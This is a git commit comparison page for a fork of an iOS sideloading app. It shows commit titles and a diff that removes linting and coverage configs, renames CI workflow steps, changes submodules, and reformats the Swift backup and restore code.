Compare commits

..

15 Commits

Author SHA1 Message Date
f1shy-dev
8029a34410 Merge remote-tracking branch 'origin/develop' into feature/f1shy-mdc 2023-03-24 19:04:16 +00:00
f1shy-dev
48e0b37b4d Merge remote-tracking branch 'origin/develop' into feature/f1shy-mdc 2023-03-24 18:40:52 +00:00
naturecodevoid
99cb43bbea [skip ci] include commit SHA in PR builds
Signed-off-by: naturecodevoid <44983869+naturecodevoid@users.noreply.github.com>
2023-03-24 08:56:30 -07:00
Riley Testut
ca7d8277f7 Fixes “no provisioning profile with the requested identifier…” error
As of March 20, 2023, deleting an app’s auto-generated free provisioning profile is no longer supported. However, fetching the provisioning profile now re-generates is every time, so there’s no need to delete it first.

As a workaround, we now simply use the first profile we fetched if we receive an error when deleting it. This approach should continue to work even if Apple later reverses this change.
2023-03-21 18:52:56 -04:00
Joe Mattiello
337d26333e Update README.md
Signed-off-by: Joe Mattiello <mail@joemattiello.com>
2023-03-20 00:02:11 -04:00
Joe Mattiello
ebb64d255b Update README.md
Signed-off-by: Joe Mattiello <mail@joemattiello.com>
2023-03-20 00:00:56 -04:00
Joe Mattiello
7dcb199f68 Update README.md
Add repobeats svg

Signed-off-by: Joe Mattiello <mail@joemattiello.com>
2023-03-19 23:28:32 -04:00
naturecodevoid
4334e887de [skip ci] use bundle ID from Build.xcconfig in AltStore.xcconfig 2023-03-12 16:38:59 -07:00
f1shy-dev
2337043466 random file 2023-02-20 22:44:58 +00:00
f1shy-dev
cc6b048b9c so we now aren't detected by like 8 antiviruses but windows defender loves me 2023-02-20 22:44:37 +00:00
f1shy-dev
108f7a936d Merge remote-tracking branch 'origin/develop' into feature/f1shy-mdc 2023-02-20 17:33:50 +00:00
f1shy-dev
46945bc087 remove weird artifacts 2023-02-11 20:20:50 +00:00
f1shy-dev
486b3d12bd mdc v14 2023-02-11 20:16:13 +00:00
f1shy-dev
0dc0ff8151 cache deps 2023-02-06 18:04:36 +00:00
f1shy-dev
b2a1fdb6ee mdc exploit 2023-02-06 17:54:26 +00:00
486 changed files with 18061 additions and 19530 deletions

View File

@@ -1,21 +0,0 @@
# https://docs.codecov.io/docs/codecov-yaml
codecov:
require_ci_to_pass: true
coverage:
precision: 2
round: down
range: "70...100"
ignore:
- Dependencies
status:
patch:
default:
if_no_uploads: error
changes: true
project:
default:
target: auto
if_no_uploads: error
comment: false

View File

@@ -1,35 +1,39 @@
# http://editorconfig.org # EditorConfig is awesome: https://EditorConfig.org
# top-most EditorConfig file
root = true root = true
# Unix-style newlines with a newline ending every file
[*] [*]
indent_style = space
charset = utf-8
indent_size = 4
end_of_line = lf end_of_line = lf
trim_trailing_whitespace = true
insert_final_newline = true insert_final_newline = true
[*.{md,markdown}] # Matches multiple files with brace expansion notation
trim_trailing_whitespace = false # Set default charset
[*.{js,py}]
charset = utf-8# 4 space indentation
[*.{c,h,m,mm}] # Swift files
trim_trailing_whitespace = true [*.swift]
indent_style = space
indent_size = 4
charset = utf-8# 4 space indentation
# 4 space indentation
[*.py]
indent_style = space
indent_size = 4
# Tab indentation (no size specified)
[Makefile]
indent_style = tab
# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space indent_style = space
indent_size = 2 indent_size = 2
[*.js] # Matches the exact files either package.json or .travis.yml
indent_size = 2 [{package.json,.travis.yml}]
indent_style = space
[*.{swift}]
trim_trailing_whitespace = true
indent_style = tab
indent_size = 4
[Makefile]
trim_trailing_whitespace = true
indent_style = tab
indent_size = 8
[*.{yaml|yml}]
indent_size = 2 indent_size = 2

0
.env
View File

View File

@@ -1,20 +0,0 @@
# .github/workflows/sidestore-project.yml
name: SideStore Project
on:
push:
branches:
- main
pull_request:
jobs:
build:
name: Build
runs-on: macos-latest
steps:
- uses: actions/checkout@v3
- uses: tuist/tuist-action@0.13.0
with:
command: 'build'
arguments: ''

View File

@@ -61,8 +61,8 @@ jobs:
id: date id: date
run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT
- name: Get current date in SideStore date form - name: Get current date in AltStore date form
id: date_sidestore id: date_altstore
run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT
- name: Upload to new beta release - name: Upload to new beta release
@@ -85,6 +85,6 @@ jobs:
## Build Info ## Build Info
Built at (UTC): `${{ steps.date.outputs.date }}` Built at (UTC): `${{ steps.date.outputs.date }}`
Built at (UTC date): `${{ steps.date_sidestore.outputs.date }}` Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
Commit SHA: `${{ github.sha }}` Commit SHA: `${{ github.sha }}`
Version: `${{ steps.version.outputs.version }}` Version: `${{ steps.version.outputs.version }}`

View File

@@ -70,8 +70,8 @@ jobs:
id: date id: date
run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT
- name: Get current date in SideStore date form - name: Get current date in AltStore date form
id: date_sidestore id: date_altstore
run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT
- name: Upload to nightly release - name: Upload to nightly release
@@ -92,7 +92,7 @@ jobs:
## Build Info ## Build Info
Built at (UTC): `${{ steps.date.outputs.date }}` Built at (UTC): `${{ steps.date.outputs.date }}`
Built at (UTC date): `${{ steps.date_sidestore.outputs.date }}` Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
Commit SHA: `${{ github.sha }}` Commit SHA: `${{ github.sha }}`
Version: `${{ steps.version.outputs.version }}` Version: `${{ steps.version.outputs.version }}`

View File

@@ -23,7 +23,7 @@ jobs:
run: brew install ldid run: brew install ldid
- name: Add PR suffix to version - name: Add PR suffix to version
run: sed -e '/MARKETING_VERSION = .*/s/$/-pr.${{ github.event.pull_request.number }}/' -i '' Build.xcconfig run: sed -e "/MARKETING_VERSION = .*/s/\$/-pr.${{ github.event.pull_request.number }}+$(git rev-parse --short HEAD)/" -i '' Build.xcconfig
- name: Setup Xcode - name: Setup Xcode
uses: maxim-lobanov/setup-xcode@v1.4.1 uses: maxim-lobanov/setup-xcode@v1.4.1

View File

@@ -61,8 +61,8 @@ jobs:
id: date id: date
run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT run: echo "date=$(date -u +'%c')" >> $GITHUB_OUTPUT
- name: Get current date in SideStore date form - name: Get current date in AltStore date form
id: date_sidestore id: date_altstore
run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT run: echo "date=$(date -u +'%Y-%m-%d')" >> $GITHUB_OUTPUT
- name: Upload to new stable release - name: Upload to new stable release
@@ -82,6 +82,6 @@ jobs:
## Build Info ## Build Info
Built at (UTC): `${{ steps.date.outputs.date }}` Built at (UTC): `${{ steps.date.outputs.date }}`
Built at (UTC date): `${{ steps.date_sidestore.outputs.date }}` Built at (UTC date): `${{ steps.date_altstore.outputs.date }}`
Commit SHA: `${{ github.sha }}` Commit SHA: `${{ github.sha }}`
Version: `${{ steps.version.outputs.version }}` Version: `${{ steps.version.outputs.version }}`

27
.gitmodules vendored
View File

@@ -1,6 +1,21 @@
[submodule "Dependencies/em_proxy"] [submodule "Dependencies/Roxas"]
path = SideStoreApp/Dependencies/em_proxy path = Dependencies/Roxas
url = https://github.com/SideStore/em_proxy.git url = https://github.com/rileytestut/Roxas.git
[submodule "Dependencies/minimuxer"] [submodule "Dependencies/libimobiledevice"]
path = SideStoreApp/Dependencies/minimuxer path = Dependencies/libimobiledevice
url = https://github.com/SideStore/minimuxer.git url = https://github.com/libimobiledevice/libimobiledevice
[submodule "Dependencies/libusbmuxd"]
path = Dependencies/libusbmuxd
url = https://github.com/libimobiledevice/libusbmuxd.git
[submodule "Dependencies/libplist"]
path = Dependencies/libplist
url = https://github.com/libimobiledevice/libplist.git
[submodule "Dependencies/MarkdownAttributedString"]
path = Dependencies/MarkdownAttributedString
url = https://github.com/chockenberry/MarkdownAttributedString.git
[submodule "Dependencies/libimobiledevice-glue"]
path = Dependencies/libimobiledevice-glue
url = https://github.com/libimobiledevice/libimobiledevice-glue
[submodule "Dependencies/libfragmentzip"]
path = Dependencies/libfragmentzip
url = https://github.com/SideStore/libfragmentzip.git

View File

@@ -1,28 +0,0 @@
# ---- About ----
module: SideStore
module_version: 1.0,0
author: SideStore
readme: README.md
copyright: 'See [license](https://github.com/SideStore/SideStore/blob/develop/LICENSE) for more details.'
# ---- URLs ----
author_url: https://sidestore.io
dash_url: https://sidestore.io/docsets/SideStore.xml
github_url: https://github.com/SideStore/SideStore/
github_file_prefix: https://github.com/SideStore/SideStore/tree/1.0.2/
# ---- Sources ----
source_directory: Sources
documentation: .build/x86_64-apple-macosx/debug/SideStore.docc
# ---- Generation ----
clean: true
output: docs
min_acl: public
hide_documentation_coverage: false
skip_undocumented: false
objc: false
swift_version: 5.1.0
# ---- Formatting ----
theme: fullwidth

View File

@@ -1,42 +0,0 @@
# .swiftformat
## file options
--exclude .build,.github,.swiftpm,.vscode,Configurations,Dependencies
## format options
--allman false
--binarygrouping 4,8
--commas always
--comments indent
--decimalgrouping 3,6
--elseposition same-line
--empty void
--exponentcase lowercase
--exponentgrouping disabled
--fractiongrouping disabled
--header ignore
--hexgrouping 4,8
--hexliteralcase uppercase
--ifdef indent
--importgrouping testable-bottom
--indent 4
--indentcase false
--linebreaks lf
--maxwidth none
--octalgrouping 4,8
--operatorfunc spaced
--patternlet hoist
--ranges spaced
--self remove
--semicolons inline
--stripunusedargs always
--swiftversion 5.1
--trimwhitespace always
--wraparguments preserve
--wrapcollections preserve
## rules
--enable isEmpty,andOperator,assertionFailures

View File

@@ -1,76 +0,0 @@
disabled_rules:
- block_based_kvo
- colon
- control_statement
- cyclomatic_complexity
- discarded_notification_center_observer
- file_length
- function_parameter_count
- generic_type_name
- identifier_name
- multiple_closures_with_trailing_closure
- nesting
- switch_case_alignment
- todo
- type_name
- type_body_length
- function_body_length
- unused_closure_parameter
# parameterized rules can be customized from this configuration file
line_length: 200
# parameterized rules are first parameterized as a warning level, then error level.
type_body_length:
- 300 # warning
- 600 # error
# parameterized rules are first parameterized as a warning level, then error level.
# identifier_name_max_length:
# - 40 # warning
# - 60 # error
# # parameterized rules are first parameterized as a warning level, then error level.
# identifier_name_min_length:
# - 3 # warning
# - 2 # error
function_body_length:
- 200 # warning
- 500 # error
large_tuple:
- 4 # warning
- 6 # error
opt_in_rules:
- empty_count
- force_unwrapping
excluded: # paths to ignore during linting. overridden byincluded.
- .build
- .github
- .swiftpm
- .vscode
- Dependencies
analyzer_rules: # Rules run by `swiftlint analyze` (experimental)
- explicit_self
# Override these rules to be warnings for now
force_cast: warning
force_try: warning
empty_count: warning
reporter: "xcode" # reporter type (xcode, json, csv, checkstyle, junit)
custom_rules:
placeholders_in_comments:
included: ".*\\.swift"
name: "No Placeholders in Comments"
regex: "<#([^#]+)#>"
match_kinds:
- comment
- doccomment
message: "Placeholder left in comment."
tiles_deprecated:
included: ".*\\.swift"
name: "Tiles are deprecated in favor of Frame"
regex: "([T,t]ile$|^[T,t]il[e,es])"
message: "Tiles are deprecated in favor of Frame"
severity: warning

3
AltBackup.xcconfig Normal file
View File

@@ -0,0 +1,3 @@
#include "Build.xcconfig"
PRODUCT_BUNDLE_IDENTIFIER = $(PRODUCT_BUNDLE_IDENTIFIER).AltBackup

View File

@@ -7,12 +7,9 @@
// //
import UIKit import UIKit
import OSLog
#if canImport(Logging)
import Logging
#endif
extension AppDelegate { extension AppDelegate
{
static let startBackupNotification = Notification.Name("io.altstore.StartBackup") static let startBackupNotification = Notification.Name("io.altstore.StartBackup")
static let startRestoreNotification = Notification.Name("io.altstore.StartRestore") static let startRestoreNotification = Notification.Name("io.altstore.StartRestore")
@@ -23,58 +20,64 @@ extension AppDelegate {
@UIApplicationMain @UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate { class AppDelegate: UIResponder, UIApplicationDelegate {
var window: UIWindow? var window: UIWindow?
private var currentBackupReturnURL: URL? private var currentBackupReturnURL: URL?
func application(_: UIApplication, didFinishLaunchingWithOptions _: [UIApplication.LaunchOptionsKey: Any]?) -> Bool { func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool
{
// Override point for customization after application launch. // Override point for customization after application launch.
NotificationCenter.default.addObserver(self, selector: #selector(AppDelegate.operationDidFinish(_:)), name: AppDelegate.operationDidFinishNotification, object: nil) NotificationCenter.default.addObserver(self, selector: #selector(AppDelegate.operationDidFinish(_:)), name: AppDelegate.operationDidFinishNotification, object: nil)
let viewController = ViewController() let viewController = ViewController()
window = UIWindow(frame: UIScreen.main.bounds) self.window = UIWindow(frame: UIScreen.main.bounds)
window?.rootViewController = viewController self.window?.rootViewController = viewController
window?.makeKeyAndVisible() self.window?.makeKeyAndVisible()
return true return true
} }
func applicationWillResignActive(_: UIApplication) { func applicationWillResignActive(_ application: UIApplication) {
// Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state. // Sent when the application is about to move from active to inactive state. This can occur for certain types of temporary interruptions (such as an incoming phone call or SMS message) or when the user quits the application and it begins the transition to the background state.
// Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game. // Use this method to pause ongoing tasks, disable timers, and invalidate graphics rendering callbacks. Games should use this method to pause the game.
} }
func applicationDidBecomeActive(_: UIApplication) { func applicationDidBecomeActive(_ application: UIApplication) {
// Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface. // Restart any tasks that were paused (or not yet started) while the application was inactive. If the application was previously in the background, optionally refresh the user interface.
} }
func applicationWillTerminate(_: UIApplication) { func applicationWillTerminate(_ application: UIApplication) {
// Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:. // Called when the application is about to terminate. Save data if appropriate. See also applicationDidEnterBackground:.
} }
func application(_: UIApplication, open url: URL, options _: [UIApplication.OpenURLOptionsKey: Any]) -> Bool { func application(_ app: UIApplication, open url: URL, options: [UIApplication.OpenURLOptionsKey : Any]) -> Bool
open(url) {
return self.open(url)
} }
} }
private extension AppDelegate { private extension AppDelegate
func open(_ url: URL) -> Bool { {
func open(_ url: URL) -> Bool
{
guard let components = URLComponents(url: url, resolvingAgainstBaseURL: false) else { return false } guard let components = URLComponents(url: url, resolvingAgainstBaseURL: false) else { return false }
guard let command = components.host?.lowercased() else { return false } guard let command = components.host?.lowercased() else { return false }
switch command { switch command
{
case "backup": case "backup":
guard let returnString = components.queryItems?.first(where: { $0.name == "returnURL" })?.value, let returnURL = URL(string: returnString) else { return false } guard let returnString = components.queryItems?.first(where: { $0.name == "returnURL" })?.value, let returnURL = URL(string: returnString) else { return false }
currentBackupReturnURL = returnURL self.currentBackupReturnURL = returnURL
NotificationCenter.default.post(name: AppDelegate.startBackupNotification, object: nil) NotificationCenter.default.post(name: AppDelegate.startBackupNotification, object: nil)
return true return true
case "restore": case "restore":
guard let returnString = components.queryItems?.first(where: { $0.name == "returnURL" })?.value, let returnURL = URL(string: returnString) else { return false } guard let returnString = components.queryItems?.first(where: { $0.name == "returnURL" })?.value, let returnURL = URL(string: returnString) else { return false }
currentBackupReturnURL = returnURL self.currentBackupReturnURL = returnURL
NotificationCenter.default.post(name: AppDelegate.startRestoreNotification, object: nil) NotificationCenter.default.post(name: AppDelegate.startRestoreNotification, object: nil)
return true return true
@@ -83,21 +86,23 @@ private extension AppDelegate {
} }
} }
@objc func operationDidFinish(_ notification: Notification) { @objc func operationDidFinish(_ notification: Notification)
{
defer { self.currentBackupReturnURL = nil } defer { self.currentBackupReturnURL = nil }
guard guard
let returnURL = currentBackupReturnURL, let returnURL = self.currentBackupReturnURL,
let result = notification.userInfo?[AppDelegate.operationResultKey] as? Result<Void, Error> let result = notification.userInfo?[AppDelegate.operationResultKey] as? Result<Void, Error>
else { return } else { return }
guard var components = URLComponents(url: returnURL, resolvingAgainstBaseURL: false) else { return } guard var components = URLComponents(url: returnURL, resolvingAgainstBaseURL: false) else { return }
switch result { switch result
{
case .success: case .success:
components.path = "/success" components.path = "/success"
case let .failure(error as NSError): case .failure(let error as NSError):
components.path = "/failure" components.path = "/failure"
components.queryItems = ["errorDomain": error.domain, components.queryItems = ["errorDomain": error.domain,
"errorCode": String(error.code), "errorCode": String(error.code),
@@ -107,9 +112,10 @@ private extension AppDelegate {
guard let responseURL = components.url else { return } guard let responseURL = components.url else { return }
DispatchQueue.main.async { DispatchQueue.main.async {
UIApplication.shared.open(responseURL, options: [:]) { success in UIApplication.shared.open(responseURL, options: [:]) { (success) in
os_log("Sent response to app with success: %@", type: .info , success) print("Sent response to app with success:", success)
} }
} }
} }
} }

View File

@@ -7,21 +7,15 @@
// //
import Foundation import Foundation
import OSLog
#if canImport(Logging)
import Logging
#endif
import AltSign extension ErrorUserInfoKey
import Roxas {
import protocol SideStoreCore.ALTLocalizedError
extension ErrorUserInfoKey {
static let sourceFile: String = "alt_sourceFile" static let sourceFile: String = "alt_sourceFile"
static let sourceFileLine: String = "alt_sourceFileLine" static let sourceFileLine: String = "alt_sourceFileLine"
} }
extension Error { extension Error
{
var sourceDescription: String? { var sourceDescription: String? {
guard let sourceFile = (self as NSError).userInfo[ErrorUserInfoKey.sourceFile] as? String, let sourceFileLine = (self as NSError).userInfo[ErrorUserInfoKey.sourceFileLine] else { guard let sourceFile = (self as NSError).userInfo[ErrorUserInfoKey.sourceFile] as? String, let sourceFileLine = (self as NSError).userInfo[ErrorUserInfoKey.sourceFileLine] else {
return nil return nil
@@ -30,8 +24,10 @@ extension Error {
} }
} }
struct BackupError: ALTLocalizedError { struct BackupError: ALTLocalizedError
enum Code { {
enum Code
{
case invalidBundleID case invalidBundleID
case appGroupNotFound(String?) case appGroupNotFound(String?)
case randomError // Used for debugging. case randomError // Used for debugging.
@@ -45,12 +41,16 @@ struct BackupError: ALTLocalizedError {
var failure: String? var failure: String?
var failureReason: String? { var failureReason: String? {
switch code { switch self.code
{
case .invalidBundleID: return NSLocalizedString("The bundle identifier is invalid.", comment: "") case .invalidBundleID: return NSLocalizedString("The bundle identifier is invalid.", comment: "")
case let .appGroupNotFound(appGroup): case .appGroupNotFound(let appGroup):
if let appGroup = appGroup { if let appGroup = appGroup
{
return String(format: NSLocalizedString("The app group “%@” could not be found.", comment: ""), appGroup) return String(format: NSLocalizedString("The app group “%@” could not be found.", comment: ""), appGroup)
} else { }
else
{
return NSLocalizedString("The AltStore app group could not be found.", comment: "") return NSLocalizedString("The AltStore app group could not be found.", comment: "")
} }
case .randomError: return NSLocalizedString("A random error occured.", comment: "") case .randomError: return NSLocalizedString("A random error occured.", comment: "")
@@ -58,32 +58,37 @@ struct BackupError: ALTLocalizedError {
} }
var errorUserInfo: [String : Any] { var errorUserInfo: [String : Any] {
let userInfo: [String: Any?] = [NSLocalizedDescriptionKey: errorDescription, let userInfo: [String: Any?] = [NSLocalizedDescriptionKey: self.errorDescription,
NSLocalizedFailureReasonErrorKey: failureReason, NSLocalizedFailureReasonErrorKey: self.failureReason,
NSLocalizedFailureErrorKey: failure, NSLocalizedFailureErrorKey: self.failure,
ErrorUserInfoKey.sourceFile: sourceFile, ErrorUserInfoKey.sourceFile: self.sourceFile,
ErrorUserInfoKey.sourceFileLine: sourceFileLine] ErrorUserInfoKey.sourceFileLine: self.sourceFileLine]
return userInfo.compactMapValues { $0 } return userInfo.compactMapValues { $0 }
} }
init(_ code: Code, description: String? = nil, file: String = #file, line: Int = #line) { init(_ code: Code, description: String? = nil, file: String = #file, line: Int = #line)
{
self.code = code self.code = code
failure = description self.failure = description
sourceFile = file self.sourceFile = file
sourceFileLine = line self.sourceFileLine = line
} }
} }
class BackupController: NSObject { class BackupController: NSObject
{
private let fileCoordinator = NSFileCoordinator(filePresenter: nil) private let fileCoordinator = NSFileCoordinator(filePresenter: nil)
private let operationQueue = OperationQueue() private let operationQueue = OperationQueue()
override init() { override init()
operationQueue.name = "AltBackup-BackupQueue" {
self.operationQueue.name = "AltBackup-BackupQueue"
} }
func performBackup(completionHandler: @escaping (Result<Void, Error>) -> Void) { func performBackup(completionHandler: @escaping (Result<Void, Error>) -> Void)
do { {
do
{
guard let bundleIdentifier = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.altBundleID) as? String else { guard let bundleIdentifier = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.altBundleID) as? String else {
throw BackupError(.invalidBundleID, description: NSLocalizedString("Unable to create backup directory.", comment: "")) throw BackupError(.invalidBundleID, description: NSLocalizedString("Unable to create backup directory.", comment: ""))
} }
@@ -101,24 +106,29 @@ class BackupController: NSObject {
let writingIntent = NSFileAccessIntent.writingIntent(with: temporaryAppBackupDirectory, options: []) let writingIntent = NSFileAccessIntent.writingIntent(with: temporaryAppBackupDirectory, options: [])
let replacementIntent = NSFileAccessIntent.writingIntent(with: appBackupDirectory, options: [.forReplacing]) let replacementIntent = NSFileAccessIntent.writingIntent(with: appBackupDirectory, options: [.forReplacing])
fileCoordinator.coordinate(with: [writingIntent, replacementIntent], queue: operationQueue) { error in self.fileCoordinator.coordinate(with: [writingIntent, replacementIntent], queue: self.operationQueue) { (error) in
do { do
if let error = error { {
if let error = error
{
throw error throw error
} }
do { do
{
let mainGroupBackupDirectory = temporaryAppBackupDirectory.appendingPathComponent("App") let mainGroupBackupDirectory = temporaryAppBackupDirectory.appendingPathComponent("App")
try FileManager.default.createDirectory(at: mainGroupBackupDirectory, withIntermediateDirectories: true, attributes: nil) try FileManager.default.createDirectory(at: mainGroupBackupDirectory, withIntermediateDirectories: true, attributes: nil)
let documentsDirectory = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0] let documentsDirectory = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0]
let backupDocumentsDirectory = mainGroupBackupDirectory.appendingPathComponent(documentsDirectory.lastPathComponent) let backupDocumentsDirectory = mainGroupBackupDirectory.appendingPathComponent(documentsDirectory.lastPathComponent)
if FileManager.default.fileExists(atPath: backupDocumentsDirectory.path) { if FileManager.default.fileExists(atPath: backupDocumentsDirectory.path)
{
try FileManager.default.removeItem(at: backupDocumentsDirectory) try FileManager.default.removeItem(at: backupDocumentsDirectory)
} }
if FileManager.default.fileExists(atPath: documentsDirectory.path) { if FileManager.default.fileExists(atPath: documentsDirectory.path)
{
try FileManager.default.copyItem(at: documentsDirectory, to: backupDocumentsDirectory) try FileManager.default.copyItem(at: documentsDirectory, to: backupDocumentsDirectory)
} }
@@ -127,18 +137,21 @@ class BackupController: NSObject {
let libraryDirectory = FileManager.default.urls(for: .libraryDirectory, in: .userDomainMask)[0] let libraryDirectory = FileManager.default.urls(for: .libraryDirectory, in: .userDomainMask)[0]
let backupLibraryDirectory = mainGroupBackupDirectory.appendingPathComponent(libraryDirectory.lastPathComponent) let backupLibraryDirectory = mainGroupBackupDirectory.appendingPathComponent(libraryDirectory.lastPathComponent)
if FileManager.default.fileExists(atPath: backupLibraryDirectory.path) { if FileManager.default.fileExists(atPath: backupLibraryDirectory.path)
{
try FileManager.default.removeItem(at: backupLibraryDirectory) try FileManager.default.removeItem(at: backupLibraryDirectory)
} }
if FileManager.default.fileExists(atPath: libraryDirectory.path) { if FileManager.default.fileExists(atPath: libraryDirectory.path)
{
try FileManager.default.copyItem(at: libraryDirectory, to: backupLibraryDirectory) try FileManager.default.copyItem(at: libraryDirectory, to: backupLibraryDirectory)
} }
print("Copied Library directory from \(libraryDirectory) to \(backupLibraryDirectory)") print("Copied Library directory from \(libraryDirectory) to \(backupLibraryDirectory)")
} }
for appGroup in Bundle.main.appGroups where appGroup != altstoreAppGroup { for appGroup in Bundle.main.appGroups where appGroup != altstoreAppGroup
{
guard let appGroupURL = FileManager.default.containerURL(forSecurityApplicationGroupIdentifier: appGroup) else { guard let appGroupURL = FileManager.default.containerURL(forSecurityApplicationGroupIdentifier: appGroup) else {
throw BackupError(.appGroupNotFound(appGroup), description: NSLocalizedString("Unable to create app group backup directory.", comment: "")) throw BackupError(.appGroupNotFound(appGroup), description: NSLocalizedString("Unable to create app group backup directory.", comment: ""))
} }
@@ -152,22 +165,29 @@ class BackupController: NSObject {
// Replace previous backup with new backup. // Replace previous backup with new backup.
_ = try FileManager.default.replaceItemAt(appBackupDirectory, withItemAt: temporaryAppBackupDirectory) _ = try FileManager.default.replaceItemAt(appBackupDirectory, withItemAt: temporaryAppBackupDirectory)
os_log("Replaced previous backup with new backup: %@", type: .info, temporaryAppBackupDirectory.absoluteString) print("Replaced previous backup with new backup:", temporaryAppBackupDirectory)
completionHandler(.success(())) completionHandler(.success(()))
} catch { }
do { try FileManager.default.removeItem(at: temporaryAppBackupDirectory) } catch { os_log("Failed to remove temporary directory. %@", type: .error , error.localizedDescription) } catch
{
do { try FileManager.default.removeItem(at: temporaryAppBackupDirectory) }
catch { print("Failed to remove temporary directory.", error) }
completionHandler(.failure(error)) completionHandler(.failure(error))
} }
} }
} catch { }
catch
{
completionHandler(.failure(error)) completionHandler(.failure(error))
} }
} }
func restoreBackup(completionHandler: @escaping (Result<Void, Error>) -> Void) { func restoreBackup(completionHandler: @escaping (Result<Void, Error>) -> Void)
do { {
do
{
guard let bundleIdentifier = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.altBundleID) as? String else { guard let bundleIdentifier = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.altBundleID) as? String else {
throw BackupError(.invalidBundleID, description: NSLocalizedString("Unable to access backup.", comment: "")) throw BackupError(.invalidBundleID, description: NSLocalizedString("Unable to access backup.", comment: ""))
} }
@@ -181,9 +201,11 @@ class BackupController: NSObject {
let appBackupDirectory = backupsDirectory.appendingPathComponent(bundleIdentifier) let appBackupDirectory = backupsDirectory.appendingPathComponent(bundleIdentifier)
let readingIntent = NSFileAccessIntent.readingIntent(with: appBackupDirectory, options: []) let readingIntent = NSFileAccessIntent.readingIntent(with: appBackupDirectory, options: [])
fileCoordinator.coordinate(with: [readingIntent], queue: operationQueue) { error in self.fileCoordinator.coordinate(with: [readingIntent], queue: self.operationQueue) { (error) in
do { do
if let error = error { {
if let error = error
{
throw error throw error
} }
@@ -198,7 +220,8 @@ class BackupController: NSObject {
try self.copyDirectoryContents(at: backupDocumentsDirectory, to: documentsDirectory) try self.copyDirectoryContents(at: backupDocumentsDirectory, to: documentsDirectory)
try self.copyDirectoryContents(at: backupLibraryDirectory, to: libraryDirectory) try self.copyDirectoryContents(at: backupLibraryDirectory, to: libraryDirectory)
for appGroup in Bundle.main.appGroups where appGroup != altstoreAppGroup { for appGroup in Bundle.main.appGroups where appGroup != altstoreAppGroup
{
guard let appGroupURL = FileManager.default.containerURL(forSecurityApplicationGroupIdentifier: appGroup) else { guard let appGroupURL = FileManager.default.containerURL(forSecurityApplicationGroupIdentifier: appGroup) else {
throw BackupError(.appGroupNotFound(appGroup), description: NSLocalizedString("Unable to read app group backup.", comment: "")) throw BackupError(.appGroupNotFound(appGroup), description: NSLocalizedString("Unable to read app group backup.", comment: ""))
} }
@@ -208,35 +231,46 @@ class BackupController: NSObject {
} }
completionHandler(.success(())) completionHandler(.success(()))
} catch { }
catch
{
completionHandler(.failure(error)) completionHandler(.failure(error))
} }
} }
} catch { }
catch
{
completionHandler(.failure(error)) completionHandler(.failure(error))
} }
} }
} }
private extension BackupController { private extension BackupController
func copyDirectoryContents(at sourceDirectoryURL: URL, to destinationDirectoryURL: URL, options: FileManager.DirectoryEnumerationOptions = []) throws { {
func copyDirectoryContents(at sourceDirectoryURL: URL, to destinationDirectoryURL: URL, options: FileManager.DirectoryEnumerationOptions = []) throws
{
guard FileManager.default.fileExists(atPath: sourceDirectoryURL.path) else { return } guard FileManager.default.fileExists(atPath: sourceDirectoryURL.path) else { return }
if !FileManager.default.fileExists(atPath: destinationDirectoryURL.path) { if !FileManager.default.fileExists(atPath: destinationDirectoryURL.path)
{
try FileManager.default.createDirectory(at: destinationDirectoryURL, withIntermediateDirectories: true, attributes: nil) try FileManager.default.createDirectory(at: destinationDirectoryURL, withIntermediateDirectories: true, attributes: nil)
} }
for fileURL in try FileManager.default.contentsOfDirectory(at: sourceDirectoryURL, includingPropertiesForKeys: [.isDirectoryKey], options: options) { for fileURL in try FileManager.default.contentsOfDirectory(at: sourceDirectoryURL, includingPropertiesForKeys: [.isDirectoryKey], options: options)
{
let isDirectory = try fileURL.resourceValues(forKeys: [.isDirectoryKey]).isDirectory ?? false let isDirectory = try fileURL.resourceValues(forKeys: [.isDirectoryKey]).isDirectory ?? false
let destinationURL = destinationDirectoryURL.appendingPathComponent(fileURL.lastPathComponent) let destinationURL = destinationDirectoryURL.appendingPathComponent(fileURL.lastPathComponent)
if FileManager.default.fileExists(atPath: destinationURL.path) { if FileManager.default.fileExists(atPath: destinationURL.path)
{
do { do {
try FileManager.default.removeItem(at: destinationURL) try FileManager.default.removeItem(at: destinationURL)
} catch CocoaError.fileWriteNoPermission where isDirectory { }
try copyDirectoryContents(at: fileURL, to: destinationURL, options: options) catch CocoaError.fileWriteNoPermission where isDirectory {
try self.copyDirectoryContents(at: fileURL, to: destinationURL, options: options)
continue continue
} catch { }
catch {
print(error) print(error)
throw error throw error
} }
@@ -245,10 +279,12 @@ private extension BackupController {
do { do {
try FileManager.default.copyItem(at: fileURL, to: destinationURL) try FileManager.default.copyItem(at: fileURL, to: destinationURL)
print("Copied item from \(fileURL) to \(destinationURL)") print("Copied item from \(fileURL) to \(destinationURL)")
} catch let error where fileURL.lastPathComponent == "Inbox" && fileURL.deletingLastPathComponent().lastPathComponent == "Documents" { }
